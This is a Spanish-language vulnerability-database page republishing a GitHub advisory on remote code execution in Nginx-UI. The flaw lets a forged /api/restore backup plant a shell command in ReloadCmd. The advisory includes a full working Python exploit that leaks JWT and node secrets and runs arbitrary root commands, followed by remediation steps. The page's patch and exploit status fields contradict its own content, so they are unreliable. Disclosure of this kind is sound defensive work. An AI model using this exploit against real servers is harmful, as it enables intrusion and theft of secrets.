llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/0xJacky/Nginx-UI

GHSA-7MM5-V557-38QQ

[Incomplete fix for CVE-2026-42238] Remote Code Execution via `/api/restore`

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
9.1
Crítica
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición99 dDesde la divulgación, 11 ago 2026, 9:41 p. m.
Detección98 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
12 ago 26
18 nov 26
19 nov 26
12 ago 26
6 sept 26
1 oct 26
26 oct 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-7MM5-V557-38QQ divulgada · CVSS 9.1 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
The v2.3.8 patch for CVE-2026-42238 only added authentication middleware (`AuthRequired + RequireSecureSession + EncryptedForm`) to `POST /api/restore`. The underlying primitive — `restoreNginxUIConfig` `copyFile`s the attacker-supplied `app.ini` straight over `/etc/nginx-ui/app.ini` with no validation, the planted `[nginx] ReloadCmd` is then read into `exec.Command("/bin/sh", "-c", …)` on the next reload — was never addressed.

The chosen gate `RequireSecureSession()` early-returns `c.Next()` for any user without TOTP enrolled (`internal/middleware/secure_session.go:60`). Default install state of `uozi/nginx-ui:latest` is no-OTP. So the gate is non-functional for the most common deployment configuration, and the original CVE-2026-42238 exploit shape is restored — only difference: a single-factor admin JWT now stands in for the unauthenticated install-window.

This is the same incomplete-fix pattern as the upstream CVE-2026-42223 / CVE-2026-42220 advisories. Same root cause — `RequireSecureSession`'s no-OTP early-return — re-used as a fix for two separate CVEs, neither of which actually closes.

Result: single stolen single-factor admin JWT -> RCE in 3 HTTP requests, persistent across container restart.

### Details
1. Unvalidated `app.ini` overwrite — `internal/backup/restore.go:467` (`restoreNginxUIConfig`):

srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini")
if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil {  // raw overwrite
    return err
}

The `protected:"true"` tag on `NginxSettings.ReloadCmd` (`settings/nginx.go:12`) only guards the cosy JSON-merge code path; it does not protect against raw `os.WriteFile`. The vendor's intent (judging from the tag) is that `ReloadCmd` should be unwritable post-install. The restore path violates that intent.

2. Auto-restart re-reads the planted file — `api/backup/restore.go:133-137`:

if restoreNginxUI {
    go func() { time.Sleep(2 * time.Second); risefront.Restart() }()
}

`risefront.Restart()` graceful-re-execs nginx-ui; the new process boots through `main.go::Program` → `settings.Init(confPath)` → in-memory `ReloadCmd` is now attacker-controlled.

3. Command-injection sink — `internal/nginx/nginx.go:51` + `internal/nginx/exec.go:18`:

// nginx.go::Reload (similarly Restart)
if settings.NginxSettings.ReloadCmd != "" {
    return execShell(settings.NginxSettings.ReloadCmd)
}
// exec.go::execShell
execCmd = exec.Command("/bin/sh", "-c", cmd)

Reachable via `POST /api/nginx/reload` (`AuthRequired` only).

4. Attacker-derived manifest signature — `internal/backup/manifest.go:156`:

return sha256("nginx-ui-backup-signing-v1:" || aesKey)

The AES key is the same value the attacker supplies on the request, so `verifyManifestSignatureWithFallback` accepts any forgery.

5. The v2.3.8 gate is non-functional for the default install state — `internal/middleware/secure_session.go:60`:

if !cUser.EnabledOTP() { c.Next(); return }

The same defect was used as a fix for CVE-2026-42223/CVE-2026-42220. Same code line, two incomplete fixes.

PoC
#!/usr/bin/env python3
"""execute arbitrary /bin/sh -c command as root via /api/restore.

Usage: python3 poc_rce.py URL USER PASS 'shell command'
"""
import base64, hashlib, hmac, io, json, secrets, sys, time, uuid, zipfile
import requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

URL, USER, PASS, CMD = sys.argv[1].rstrip("/"), sys.argv[2], sys.argv[3], sys.argv[4]


def rsa_encrypt(payload):
    pem = requests.post(f"{URL}/api/crypto/public_key",
        json={"timestamp": int(time.time()*1000), "fingerprint": uuid.uuid4().hex},
        timeout=10).json()["public_key"]
    return base64.b64encode(serialization.load_pem_public_key(pem.encode())
        .encrypt(json.dumps(payload, separators=(",",":")).encode(),
                 padding.PKCS1v15())).decode()


def login():
    return requests.post(f"{URL}/api/login",
        json={"encrypted_params": rsa_encrypt({"name": USER, "password": PASS})},
        timeout=15).json()["token"]


def leak(token, path):
    return requests.get(f"{URL}/api/settings/protected", params={"path": path},
        headers={"Authorization": token}, timeout=10).json()["value"]


def aes_cbc(plaintext, key, iv):
    pad = 16 - (len(plaintext) % 16)
    enc = Cipher(algorithms.AES(key), modes.CBC(iv)).encryptor()
    return enc.update(plaintext + bytes([pad]) * pad) + enc.finalize()


def build_backup(jwt_secret, node_secret, reload_cmd):
    key, iv = secrets.token_bytes(32), secrets.token_bytes(16)
    app_ini = (f"[app]\nJwtSecret = {jwt_secret}\n"
               f"[server]\nPort = 9000\n[database]\nName = database\n"
               f"[node]\nSecret = {node_secret}\n"
               f"[nginx]\nConfigDir = /etc/nginx\nPIDPath = /run/nginx.pid\n"
               f"ReloadCmd = {reload_cmd}\nRestartCmd = nginx -s stop\n").encode()
    ui_zip, n_zip = io.BytesIO(), io.BytesIO()
    with zipfile.ZipFile(ui_zip, "w", zipfile.ZIP_DEFLATED) as z:
        z.writestr("app.ini", app_ini)
    with zipfile.ZipFile(n_zip, "w", zipfile.ZIP_DEFLATED) as z:
        z.writestr("placeholder.txt", b"")
    ui_enc, n_enc = aes_cbc(ui_zip.getvalue(), key, iv), aes_cbc(n_zip.getvalue(), key, iv)
    manifest = json.dumps({
        "schema": 1, "created_at": time.strftime("%Y%m%d-%H%M%S"), "version": "v",
        "files": [
            {"name": "nginx.zip",    "sha256": hashlib.sha256(n_enc).hexdigest(),  "size": len(n_enc)},
            {"name": "nginx-ui.zip", "sha256": hashlib.sha256(ui_enc).hexdigest(), "size": len(ui_enc)},
        ]}, separators=(",", ":")).encode()
    sig = hmac.new(hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest(),
                   manifest, hashlib.sha256).hexdigest().encode()
    outer = io.BytesIO()
    with zipfile.ZipFile(outer, "w", zipfile.ZIP_STORED) as z:
        z.writestr("nginx-ui.zip", ui_enc)
        z.writestr("nginx.zip",    n_enc)
        z.writestr("manifest.json", manifest)
        z.writestr("manifest.sig",  sig)
    return outer.getvalue(), base64.b64encode(key).decode(), base64.b64encode(iv).decode()


def wait_up():
    for _ in range(40):
        try:
            if requests.post(f"{URL}/api/crypto/public_key",
                json={"timestamp": int(time.time()*1000),
                      "fingerprint": uuid.uuid4().hex}, timeout=2).status_code == 200:
                return
        except requests.RequestException: pass
        time.sleep(0.5)
    sys.exit("timeout")


t = login()
backup, k, iv = build_backup(leak(t, "app.jwt_secret"), leak(t, "node.secret"), CMD)
blob = rsa_encrypt({"security_token": f"{k}:{iv}", "restore_nginx": "false",
                    "restore_nginx_ui": "true", "verify_hash": "false"})
requests.post(f"{URL}/api/restore", headers={"Authorization": t},
    files={"encrypted_params": (None, blob),
           "backup_file": ("b.zip", backup, "application/zip")}, timeout=60)
time.sleep(3); wait_up()
t = login()
try: requests.post(f"{URL}/api/nginx/reload", headers={"Authorization": t}, timeout=3)
except requests.RequestException: pass
# Arbitrary command
python3 poc_rce.py http://127.0.0.1:18080 admin admin1234 'id > /tmp/pwn'

The planted `ReloadCmd` survives container restart and re-fires every time anything in nginx-ui calls `Reload()` (cron cert-renewal, cluster sync, operator UI clicks). To reset, run the PoC once more with `'nginx -s reload'` as the 4th argument.

Impact

Arbitrary code execution as the nginx-ui process UID; persistent across container restart.

Remediation
  1. The fix CVE-2026-42238 should have shipped: in `restoreNginxUIConfig`, parse the supplied `app.ini` and reject any `[nginx] ReloadCmd / RestartCmd / TestConfigCmd`, `[logrotate] CMD`, `[terminal] StartCmd` value that differs from the on-disk file — or strip these fields from restore entirely. Operators set them once at install, never via backup.
  2. Drop the `if !cUser.EnabledOTP() { c.Next(); return }` early-return in `internal/middleware/secure_session.go:60`. Restores the integrity of every `RequireSecureSession()`-gated route.
  3. Stop deriving the manifest HMAC signing key from the caller's AES key. Use a per-deployment server secret only.
  4. In `restoreNginxConfigs`, run `config.ValidateConfigFile(relPath, content)` against every regular file before `copyDirectory`.
  5. Reject `POST /api/setup/restore` after first install.
  6. Add regression tests that build a backup with malicious `[nginx] ReloadCmd` and assert restore fails.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:H
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
github.com/0xJacky/Nginx-UI≥ 2.0.0 < 2.5.0
v1.9.9
2.0.0
2.5.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/0xJacky/Nginx-UI
Sin parche — — v1.9.9 no afectada
Versiones corregidas2.5.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/0xJacky/nginx-ui/security/advisories/GHSA-7mm5-v557-38qq

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.